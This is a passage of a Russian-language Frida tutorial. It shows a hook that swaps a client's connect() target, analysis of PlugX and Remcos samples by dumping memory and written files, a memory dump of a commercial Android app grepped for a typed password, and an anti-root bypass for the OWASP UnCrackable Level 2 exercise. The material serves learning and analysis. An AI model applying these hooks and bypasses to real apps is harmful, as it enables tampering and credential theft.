    <span class="n">printf</span> <span class="p">(</span><span class="s">"%s%02x"</span><span class="p">,</span> <span class="p">(</span><span class="n">i</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">?</span> <span class="s">" "</span> <span class="o">:</span> <span class="s">""</span><span class="p">,</span> <span class="n">b</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>

  <span class="n">printf</span> <span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">Press ENTER key to Continue</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">getchar</span> <span class="p">()</span> <span class="o">==</span> <span class="n">EOF</span> <span class="o">&amp;&amp;</span> <span class="n">ferror</span> <span class="p">(</span><span class="n">stdin</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">errno</span> <span class="o">==</span> <span class="n">EINTR</span><span class="p">)</span>
    <span class="p">;</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">connect</span> <span class="p">(</span><span class="n">sock_fd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span> <span class="o">*</span><span class="p">)</span> <span class="o">&amp;</span><span class="n">serv_addr</span><span class="p">,</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">serv_addr</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">perror</span> <span class="p">(</span><span class="s">"Unable to connect"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">message</span> <span class="o">=</span> <span class="s">"Hello there!"</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">send</span> <span class="p">(</span><span class="n">sock_fd</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="n">strlen</span> <span class="p">(</span><span class="n">message</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">perror</span> <span class="p">(</span><span class="s">"Unable to send"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">n</span> <span class="o">=</span> <span class="n">recv</span> <span class="p">(</span><span class="n">sock_fd</span><span class="p">,</span> <span class="n">recv_buf</span><span class="p">,</span> <span class="k">sizeof</span> <span class="p">(</span><span class="n">recv_buf</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">errno</span> <span class="o">==</span> <span class="n">EINTR</span><span class="p">)</span>
      <span class="k">continue</span><span class="p">;</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="p">)</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="n">recv_buf</span><span class="p">[</span><span class="n">n</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="n">fputs</span> <span class="p">(</span><span class="n">recv_buf</span><span class="p">,</span> <span class="n">stdout</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
  <span class="p">{</span>
    <span class="n">perror</span> <span class="p">(</span><span class="s">"Unable to read"</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">inject_struct.py</code></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">frida</span>
<span class="k">import</span> <span class="nx">sys</span>

<span class="nx">session</span> <span class="o">=</span> <span class="nx">frida</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="dl">"</span><span class="s2">client</span><span class="dl">"</span><span class="p">)</span>
<span class="nx">script</span> <span class="o">=</span> <span class="nx">session</span><span class="p">.</span><span class="nx">create_script</span><span class="p">(</span><span class="dl">"""</span><span class="s2">
send('Allocating memory and writing bytes...');
const st = Memory.alloc(16);
st.writeByteArray([0x02, 0x00, 0x13, 0x89, 0x7F, 0x00, 0x00, 0x01, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30]);
// 0x1389 = 5001d
Interceptor.attach(Module.getExportByName(null, 'connect'), {
    onEnter(args) {
        send('Injecting malicious byte array:');
        args[1] = st;
    }
    //, onLeave(retval) {
    //   retval.replace(0); // Use this to manipulate the return value
    //}
});
</span><span class="dl">"""</span><span class="p">)</span>

<span class="nx">def</span> <span class="nx">on_message</span><span class="p">(</span><span class="nx">message</span><span class="p">,</span> <span class="nx">data</span><span class="p">):</span>
    <span class="k">if</span> <span class="nx">message</span><span class="p">[</span><span class="dl">'</span><span class="s1">type</span><span class="dl">'</span><span class="p">]</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">error</span><span class="dl">'</span><span class="p">:</span>
        <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[!] </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">message</span><span class="p">[</span><span class="dl">'</span><span class="s1">stack</span><span class="dl">'</span><span class="p">])</span>
    <span class="nx">elif</span> <span class="nx">message</span><span class="p">[</span><span class="dl">'</span><span class="s1">type</span><span class="dl">'</span><span class="p">]</span> <span class="o">==</span> <span class="dl">'</span><span class="s1">send</span><span class="dl">'</span><span class="p">:</span>
        <span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[i] </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">message</span><span class="p">[</span><span class="dl">'</span><span class="s1">payload</span><span class="dl">'</span><span class="p">])</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nx">print</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">message</span><span class="dl">'</span><span class="p">,</span> <span class="nx">on_message</span><span class="p">)</span>
<span class="nx">script</span><span class="p">.</span><span class="nx">load</span><span class="p">()</span>
<span class="nx">sys</span><span class="p">.</span><span class="nx">stdin</span><span class="p">.</span><span class="nx">read</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="frida-windows">Frida windows</h2>

<h3 id="пример-1">Пример 1</h3>

<p>В папке <code class="language-plaintext highlighter-rouge">samples_for_demonstration</code> лежат образцы классического plugx.</p>

<p>Запускать:</p>

<p><code class="language-plaintext highlighter-rouge">frida -l winapi_hooks.py -f sample.exe</code></p>

<p><code class="language-plaintext highlighter-rouge">winapi_hooks.py</code> - Скрипт хукает функции VirtualProtect, VirtualAlloc, CreateFileW, CreateFileA и выводит их аргументы. Делает дамп памяти, к которой применяется VirtualProtect.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">vp</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">VirtualProtect</span><span class="dl">"</span><span class="p">);</span>


<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">vp</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span>
    <span class="p">{</span>
		<span class="kd">var</span> <span class="nx">vpAddress</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
		<span class="kd">var</span> <span class="nx">vpAddr</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
		<span class="kd">var</span> <span class="nx">vpSize</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nx">toInt32</span><span class="p">();</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">VirtualProtect called.</span><span class="se">\n</span><span class="s2"> Address:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">vpAddr</span> <span class="o">+</span> <span class="dl">"</span><span class="s2"> Size:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">vpSize</span><span class="p">);</span>
	
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">hexdump</span><span class="p">(</span><span class="nx">vpAddress</span><span class="p">));</span>
		
		<span class="kd">var</span> <span class="nx">dump</span> <span class="o">=</span> <span class="nx">vpAddress</span><span class="p">.</span><span class="nx">readByteArray</span><span class="p">(</span><span class="nx">vpSize</span><span class="p">);</span>
		<span class="kd">var</span> <span class="nx">filename</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">D:</span><span class="se">\\</span><span class="s2">dumps</span><span class="se">\\</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">vpAddress</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">_dump.bin</span><span class="dl">"</span><span class="p">;</span>
		<span class="kd">var</span> <span class="nx">file</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">File</span><span class="p">(</span><span class="nx">filename</span><span class="p">,</span> <span class="dl">"</span><span class="s2">wb</span><span class="dl">"</span><span class="p">);</span>
		<span class="nx">file</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">dump</span><span class="p">);</span>
		<span class="nx">file</span><span class="p">.</span><span class="nx">flush</span><span class="p">();</span>
		<span class="nx">file</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
		
    <span class="p">}</span>
<span class="p">});</span>


<span class="kd">var</span> <span class="nx">va</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">VirtualAlloc</span><span class="dl">"</span><span class="p">);</span>

<span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">va</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span>
    <span class="p">{</span>
		
		<span class="kd">var</span> <span class="nx">vaSize</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nx">toInt32</span><span class="p">();</span>
		<span class="kd">var</span> <span class="nx">vaProtect</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">VA called.</span><span class="se">\n</span><span class="s2"> Size:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">vaSize</span> <span class="o">+</span> <span class="dl">"</span><span class="s2"> Protect:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">vaProtect</span><span class="p">);</span>
		
    <span class="p">},</span>
	<span class="na">onLeave</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">retVal</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">VA ret:</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">retVal</span><span class="p">);</span>
	<span class="p">}</span>
	
<span class="p">});</span>

<span class="kd">var</span> <span class="nx">createFileWAddr</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">CreateFileW</span><span class="dl">"</span><span class="p">);</span>
 <span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">createFileWAddr</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">CreateFileW() call</span><span class="dl">'</span><span class="p">);</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">path:</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">readUtf16String</span><span class="p">());</span>
            <span class="p">}</span>
    <span class="p">});</span>

<span class="kd">var</span> <span class="nx">createFileAAddr</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">CreateFileA</span><span class="dl">"</span><span class="p">);</span>
 <span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">createFileAAddr</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">CreateFileA() call</span><span class="dl">'</span><span class="p">);</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">path:</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">readAnsiString</span><span class="p">());</span>
            <span class="p">}</span>
    <span class="p">});</span>	

</code></pre></div></div>

<p><img src="/assets/images/ru/frida_notes/plugx_1.png" alt="" /></p>

<p><img src="/assets/images/ru/frida_notes/plugx_2.png" alt="" /></p>

<h3 id="пример-2">Пример 2</h3>

<p>Я скачал рандомный образец (RemcosRAT) с <a href="https://bazaar.abuse.ch/sample/0e43af051e536e7c731f3d856baaf644e474c4c80ea22cb0fb4386d42c2e1056/">malware bazaar</a>:</p>

<p><img src="/assets/images/ru/frida_notes/win_1.png" alt="" /></p>

<p>Попробуем посмотреть, что делает малварь с файлами следующим скриптом фрида:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">createFileWAddr</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">CreateFileW</span><span class="dl">"</span><span class="p">);</span>
 <span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">createFileWAddr</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
            <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">path:</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nx">readUtf16String</span><span class="p">());</span>
            <span class="p">}</span>
    <span class="p">});</span>
</code></pre></div></div>

<p>В результате получим открываемые файлы малварью:</p>

<p><img src="/assets/images/ru/frida_notes/win_2.png" alt="" /></p>

<p>Среди путей видим интересный файл <code class="language-plaintext highlighter-rouge">install.vbs</code>, который лежит в папке <code class="language-plaintext highlighter-rouge">%TEMP%</code>. Откроем эту папку и видим, что созданный файл отсутствует.</p>

<p><img src="/assets/images/ru/frida_notes/win_3.png" alt="" /></p>

<p>Можно предположить, что он после использования удаляется. Как нам поступить? Мы можем перехватить записываемые данные в файл и сохранить их до удаления. Для этого напишем скрипт перехвата вызова <code class="language-plaintext highlighter-rouge">WriteFile</code>, будем сохранять буфер в отдельный файл:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">writeFileAddr</span> <span class="o">=</span> <span class="nx">Module</span><span class="p">.</span><span class="nx">getExportByName</span><span class="p">(</span><span class="kc">null</span><span class="p">,</span> <span class="dl">"</span><span class="s2">WriteFile</span><span class="dl">"</span><span class="p">);</span>
 <span class="nx">Interceptor</span><span class="p">.</span><span class="nx">attach</span><span class="p">(</span><span class="nx">writeFileAddr</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">onEnter</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
			
			<span class="kd">var</span> <span class="nx">buff</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
			<span class="kd">var</span> <span class="nx">size</span> <span class="o">=</span> <span class="nx">args</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="nx">toInt32</span><span class="p">();</span>
			<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">WriteFile | size = </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">size</span><span class="p">)</span>
			
			<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">hexdump</span><span class="p">(</span><span class="nx">buff</span><span class="p">));</span>
			
			<span class="kd">var</span> <span class="nx">dump</span> <span class="o">=</span> <span class="nx">buff</span><span class="p">.</span><span class="nx">readByteArray</span><span class="p">(</span><span class="nx">size</span><span class="p">);</span>
			<span class="kd">var</span> <span class="nx">filename</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">D:</span><span class="se">\\</span><span class="s2">dumps</span><span class="se">\\</span><span class="dl">"</span> <span class="o">+</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">_dump.bin</span><span class="dl">"</span><span class="p">;</span>
			<span class="kd">var</span> <span class="nx">file</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">File</span><span class="p">(</span><span class="nx">filename</span><span class="p">,</span> <span class="dl">"</span><span class="s2">wb</span><span class="dl">"</span><span class="p">);</span>
			<span class="nx">file</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">dump</span><span class="p">);</span>
			<span class="nx">file</span><span class="p">.</span><span class="nx">flush</span><span class="p">();</span>
			<span class="nx">file</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
            <span class="p">}</span>
    <span class="p">});</span>
</code></pre></div></div>
<p>В результате мы сохранили целевой скрипт, который и вправду самоудаляется после выполнения:</p>

<p><img src="/assets/images/ru/frida_notes/win_4.png" alt="" /></p>

<h2 id="дамп-памяти-android-приложения">Дамп памяти Android приложения</h2>

<p>С помощью Frida можно дампнуть память любого процесса.</p>

<ol>
  <li>
    <p>Скачиваем любую apk, в нашем случае это будет mcdonalds</p>
  </li>
  <li>
    <p>Устанавливаем apk</p>

    <p><code class="language-plaintext highlighter-rouge">adb install mcodnalds.apk</code></p>
  </li>
  <li>
    <p>Копируем фрида сервер на эмулятор/телефон и запускаем его</p>
  </li>
</ol>

<p><code class="language-plaintext highlighter-rouge">adb push frida-server-12.7.26-android-x86_64 /data/local/tmp/frida</code></p>

<p><code class="language-plaintext highlighter-rouge">chmod +x /data/local/tmp/frida</code></p>

<p><code class="language-plaintext highlighter-rouge">/data/local/tmp/frida &amp;</code></p>

<ol>
  <li>
    <p>Устанавливаем fridump</p>

    <p><code class="language-plaintext highlighter-rouge">git clone https://github.com/Nightbringer21/fridump.git</code></p>
  </li>
  <li>
    <p>Открываем приложение mcdonalds. Вводим в поле пароль/телефон и нажимаем Войти!</p>
  </li>
</ol>

<p><img src="/assets/images/ru/frida_notes/mcdonalds_1.jpg" alt="" /></p>

<ol>
  <li>
    <p>Делаем дамп процесса. Дампы сохранятся в папку <code class="language-plaintext highlighter-rouge">dump</code></p>

    <p><code class="language-plaintext highlighter-rouge">python fridump.py -U -v -s mcdonalds</code></p>
  </li>
  <li>
    <p>Ищем в дампе наш пароль</p>

    <p><code class="language-plaintext highlighter-rouge">grep -arni "pass123" dump/*</code></p>
  </li>
</ol>

<p><img src="/assets/images/ru/frida_notes/mcdonalds_2.jpg" alt="" /></p>

<h2 id="frida-android-example-aka-uncrackable-app-for-android-level-2">Frida Android example aka UnCrackable App for Android Level 2</h2>

<p>Описание задания второго уровня</p>

<pre>
This app holds a secret inside. May include traces of native code.

Objective: A secret string is hidden somewhere in this app. Find a way to extract it.
</pre>

<p>Описание уже содержит хорошую подсказку, но не будем забегать вперед. Скачиваем apk, устанавливаем на android эмулятор, запускаем. Видим, как и в первом задании, детектирование рута</p>

<p><img src="/assets/images/ru/frida_notes/1.png" alt="" /></p>

<p>Давайте обойдем эти проверки другим способом (не выпиливанием кода из apk), с помощью <a href="https://frida.re/">Frida</a>. Это фреймворк, который позволяет вмешиваться в работу приложения, во время выполнения. Инструкция по установке проста:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pip install frida-tools
</code></pre></div></div>

<p>Далее нам необходимо скачать подходящий сервер frida <a href="https://github.com/frida/frida/releases">отсюда</a>. У меня эмулятор android x86, поэтому я скачал архив с названием <em>frida-server-12.7.26-android-x86.xz</em>. Распаковываем и закидываем на эмулятор</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb push frida-server-12.7.26-android-x86_64 /data/local/tmp/frida
</code></pre></div></div>

<p>Запускаем</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chmod +x /data/local/tmp/frida
/data/local/tmp/frida &amp;
</code></pre></div></div>

<p>После этого, мы должны командой <code class="language-plaintext highlighter-rouge">frida-ps -U</code> получить список процессов на эмуляторе, чтобы убедиться, что Frida установлена правильно и сервер запущен</p>

<p><img src="/assets/images/ru/frida_notes/2.png" alt="" /></p>

<p>Теперь возвращаемся к приложению и детектированию рута. Оно по прежнему происходит при помощи трех функций, которые мы видим после <code class="language-plaintext highlighter-rouge">invoke-static</code></p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">invoke</span><span class="o">-</span><span class="kd">static</span> <span class="o">{},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">a</span><span class="o">/</span><span class="n">b</span><span class="o">;-&gt;</span><span class="n">a</span><span class="o">()</span><span class="no">Z</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span> <span class="n">v0</span>

    <span class="k">if</span><span class="o">-</span><span class="n">nez</span> <span class="n">v0</span><span class="o">,</span> <span class="o">:</span><span class="n">cond_0</span>

    <span class="n">invoke</span><span class="o">-</span><span class="kd">static</span> <span class="o">{},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">a</span><span class="o">/</span><span class="n">b</span><span class="o">;-&gt;</span><span class="n">b</span><span class="o">()</span><span class="no">Z</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span> <span class="n">v0</span>

    <span class="k">if</span><span class="o">-</span><span class="n">nez</span> <span class="n">v0</span><span class="o">,</span> <span class="o">:</span><span class="n">cond_0</span>

    <span class="n">invoke</span><span class="o">-</span><span class="kd">static</span> <span class="o">{},</span> <span class="nc">Lsg</span><span class="o">/</span><span class="n">vantagepoint</span><span class="o">/</span><span class="n">a</span><span class="o">/</span><span class="n">b</span><span class="o">;-&gt;</span><span class="n">c</span><span class="o">()</span><span class="no">Z</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span> <span class="n">v0</span>
</code></pre></div></div>

<p>С помощью Frida, мы можем заставить эти функции всегда возвращать false и обходить проверку. Для этого нам необходимо написать скрипт на <a href="/assets/images/ru/frida_notes/4.jpg">javascript</a>. Чтобы работать с java классами, мы должны использовать обертку, для нашего кода (подробнее о API к java, читайте в <a href="https://frida.re/docs/javascript-api/#java">официальной документации</a>)</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Java</span><span class="p">.</span><span class="nx">perform</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
    <span class="c1">//our code...</span>
<span class="p">})</span>
</code></pre></div></div>

<p>Чтобы получить доступ к классу <code class="language-plaintext highlighter-rouge">sg.vantagepoint.a.b</code> (в котором находятся наши проверки), мы должны использовать метод <code class="language-plaintext highlighter-rouge">Java.use(classname)</code></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">Java</span><span class="p">.</span><span class="nx">perform</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span>

	<span class="kd">var</span> <span class="nx">antiRootClass</span> <span class="o">=</span> <span class="nx">Java</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">"</span><span class="s2">sg.vantagepoint.a.b</span><span class="dl">"</span><span class="p">);</span>
<span class="p">})</span>
</code></pre></div></div>

<p>Теперь имея доступ к нужному классу, зная имя метода, мы можем переопределить его поведение на возврат false</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">antiRootClass</span><span class="p">.</span><span class="nx">a</span><span class="p">.</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
	<span class="p">}</span>
</code></pre></div></div>

<p>Повторим данный код, для всех трех методов и в итоге получим</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">Script started...</span><span class="dl">"</span><span class="p">);</span>

<span class="nx">Java</span><span class="p">.</span><span class="nx">perform</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span>

	<span class="kd">var</span> <span class="nx">antiRootClass</span> <span class="o">=</span> <span class="nx">Java</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="dl">"</span><span class="s2">sg.vantagepoint.a.b</span><span class="dl">"</span><span class="p">);</span>
	<span class="nx">antiRootClass</span><span class="p">.</span><span class="nx">a</span><span class="p">.</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">sg.vantagepoint.a.b.a modified</span><span class="dl">"</span><span class="p">);</span>
	
	<span class="nx">antiRootClass</span><span class="p">.</span><span class="nx">b</span><span class="p">.</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">sg.vantagepoint.a.b.b modified</span><span class="dl">"</span><span class="p">);</span>
	
	<span class="nx">antiRootClass</span><span class="p">.</span><span class="nx">c</span><span class="p">.</span><span class="nx">implementation</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
		<span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">sg.vantagepoint.a.b.c modified</span><span class="dl">"</span><span class="p">);</span>
<span class="p">})</span>

</code></pre></div></div>

<p><em>Чтобы запустить этот скрипт, вам необходимо знать package name приложения. Его можно получить из манифеста или запустив приложение и посмотрев все той же командой <code class="language-plaintext highlighter-rouge">frida-ps</code>.</em></p>

<p>Сохраняем код скрипта в файл с именем <code class="language-plaintext highlighter-rouge">owasp2.js</code> и выполняем такую команду</p>

<p><code class="language-plaintext highlighter-rouge">frida -U -l owasp2.js --no-paus -f owasp.mstg.uncrackable2</code></p>

<p>которая сама стартует приложение и выполняет скрипт. В итоге мы не получаем окно, так как все наши проверки рута были отключены</p>

<p><img src="/assets/images/ru/frida_notes/3.png" alt="" /></p>

<p>Мы получили доступ к вводу секретной строки. Вводим что-нибудь</p>

<p><img src="/assets/images/ru/frida_notes/5.png" alt="" /></p>

<p>появилось окно. Ищем в исходниках место, где встречается эта строка и идет проверка. Таким местом оказался метод <code class="language-plaintext highlighter-rouge">verify()</code> в классе <code class="language-plaintext highlighter-rouge">MainActivity</code>. Его сокращенная версия</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
    <span class="o">...</span>

    <span class="n">invoke</span><span class="o">-</span><span class="n">virtual</span> <span class="o">{</span><span class="n">p1</span><span class="o">},</span> <span class="nc">Landroid</span><span class="o">/</span><span class="n">widget</span><span class="o">/</span><span class="nc">EditText</span><span class="o">;-&gt;</span><span class="n">getText</span><span class="o">()</span><span class="nc">Landroid</span><span class="o">/</span><span class="n">text</span><span class="o">/</span><span class="nc">Editable</span><span class="o">;</span>

    <span class="n">move</span><span class="o">-</span><span class="n">result</span><span class="o">-</span><span class="n">object</span> <span class="n">p1</span>

